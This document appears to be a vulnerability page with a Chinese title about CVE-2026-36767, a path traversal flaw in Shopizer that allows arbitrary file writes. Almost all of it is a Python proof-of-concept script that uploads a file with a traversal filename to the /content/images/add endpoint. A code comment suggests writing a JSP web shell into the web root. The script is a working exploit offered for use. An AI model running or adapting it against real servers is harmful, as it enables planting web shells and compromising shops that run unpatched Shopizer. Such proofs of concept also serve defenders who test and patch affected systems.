CVE-2026-36767 Shopizer路径遍历导致任意文件写入漏洞

import requests # CVE-2026-36767 Proof of Concept # Target: Shopizer v3.2.5 # Description: Exploits path traversal in /content/images/add to write arbitrary files. target = "http://127.0.0.1:8080" endpoint = "/content/images/add" # Malicious filename using path traversal to write to webroot or temp directory # Example: ../../../../tmp/poc.txt or ../../webapps/ROOT/shell.jsp filename = "../../tmp/poc_test.txt" file_content = b"CVE-2026-36767 Vulnerability Exploited" # Construct the multipart form data files = { 'file': (filename, file_content, 'text/plain') } url = target + endpoint try: response = requests.post(url, files=files) if response.status_code == 200 or response.status_code == 201: print(f"[+] Request sent successfully. Check if file was written at path traversal target.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")